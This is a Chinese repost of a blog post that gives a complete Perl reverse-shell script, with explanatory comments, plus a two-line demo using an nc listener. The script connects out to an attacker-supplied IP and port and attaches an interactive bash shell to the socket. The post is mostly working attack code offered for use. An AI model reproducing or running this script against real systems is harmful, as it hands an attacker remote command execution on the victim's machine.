用Perl写的反弹Shell [转]

来源:互联网 发布:主人属下知错认罚规矩 编辑:程序博客网 时间:2024/04/30 19:54

用Perl写的反弹Shell [转]

说明:这个反弹shell的代码来自 anonymouslogin 的百度空间,无意中看到,用于Linux下面,和以前我在POC上看到的一个 comeback.pl代码很像很像    本人暂时没有测试 手头没有的Linux机子... 代码是我自己加上去的

laiwei@debian:~$ cat rebound.pl                       '用cat命令查看

#!/usr/bin/perl -w
#

use strict;                     
use Socket;                                                       '定义socket,准备套接字
use IO::Handle;                                                  '这个是句柄

if($#ARGV+1 != 2){
        print "$#ARGV $0 Remote_IP Remote_Port \n";
        exit 1;
}

my $remote_ip = $ARGV[0];                              'ARGV数组里面放公网IP和端口号
my $remote_port = $ARGV[1];

my $proto = getprotobyname("tcp");
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));

my $shell = '/bin/bash -i';

socket(SOCK, AF_INET, SOCK_STREAM, $proto);       '这个东西学过VC++网络编程的人就能看懂,2个月前我看不懂 呵呵

STDOUT->autoflush(1);
SOCK->autoflush(1);

connect(SOCK,$pack_addr) or die "can not connect:$!";

open STDIN, "<&SOCK";
open STDOUT, ">&SOCK";
open STDERR, ">&SOCK";

print "Enjoy the shell.\n";          

system($shell);                        '执行
close SOCK;                           '关闭SOCKET会话

exit 0;
-------------------------------------------------------------------------------------------------------

演示:

在主机A上面

nc -l -p 8888 -vv

在主机B上面

./rebound.pl AA.AA.AA.AA 8888

0 0
原创粉丝点击